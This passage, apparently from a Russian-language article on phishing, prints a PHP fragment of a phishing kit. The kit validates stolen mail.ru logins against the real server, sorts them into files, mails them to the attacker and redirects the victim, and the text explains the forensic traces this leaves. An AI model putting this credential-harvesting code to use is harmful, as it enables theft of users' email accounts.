Фрагмент листинга, осуществляющего проверку вводимых данных:
$valid_file = "stoun.php";
$invalid_file = "inv.php";
$email = "[email protected]";
$location = "http://mail.ru";
$login = @$_POST['login'];
$pass = @$_POST['password'];
$domain = @$_POST['domain'];
if($login == "" || $pass == "" || $domain == "") header("Location: index.php?test&login=".$login.'&domain='.$domain);
$fp = fsockopen ("ssl://auth.mail.ru", 443, $errno, $errstr, 300); $poststr = "page=&post=&login_from=&lang=&Login=".urlencode($login)."&Do main=$domain&Password=".urlencode($pass)."&level=0";
$post = "POST /cgi-bin/auth HTTP/1.1\r\n";
$post.= "Host: auth.mail.ru\r\n";
$post.= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 (.NET CLR 3.5.30729)\r\n";
$post.= "Accept: text/html,application/xhtml+xml,application/ xml;q=0.9,*/*;q=0.8\r\n";
$post.= "Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$post.= "Accept-Encoding: gzip,deflate\r\n";
$post.= "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n";
$post.= "Keep-Alive: 115\r\n";
$post.= "Connection: keep-alive\r\n";
$post.= "Content-Type: application/x-www-form-urlencoded\r\n";
$post.= "Content-Length: ".strlen($poststr)."\r\n\r\n";
$post.= "$poststr\r\n\r\n";
$out1 = ''; if (!$fp) {
echo "$errstr ($errno)
\n";
} else {
fputs ($fp, $post); for($i=0;$i<11;$i++)
{
$out1.= fgets ($fp,512);
}
}
fclose ($fp);
$status = pars($out1, "Set-Cookie: Mpop=", ";");
if ($status!= "") { if($valid_file!= "")
{
$file = fopen($valid_file, 'a'); fwrite($file, "$login@$domain:$pass\r\n"); fclose($file);
}
if($email!= "") mail($email, "Data from mail.ru", "$login@$domain:$pass");
header('Location: '.$location);
} else {
if($invalid_file!= "")
{
$file = fopen($invalid_file, 'a'); fwrite($file, "$login@$domain:$pass\r\n"); fclose($file);
}
В результате применения функции проверки вводимых пользователем данных движок позволяет сортировать получаемые пароли по двум файлам: подтвержденные и ошибочные. На показанном примере подтвержденные логины и пароли записываются в файл stoun.php, а те, что проверку не прошли, записываются в inv.php.
И где теперь те самые советчики, которые рекомендуют вводить недостоверные пароли для проверки, фэйк перед тобой или нет?
Интересен факт, что при расследовании факта несанкционированного получения пароля скриптом такого типа (включающим в себя автоматическую проверку) в истории авторизаций электронного ящика остаются IP-адрес сервера, на котором размещен фишинг-движок, и точное время инцидента — неправомерного копирования информации.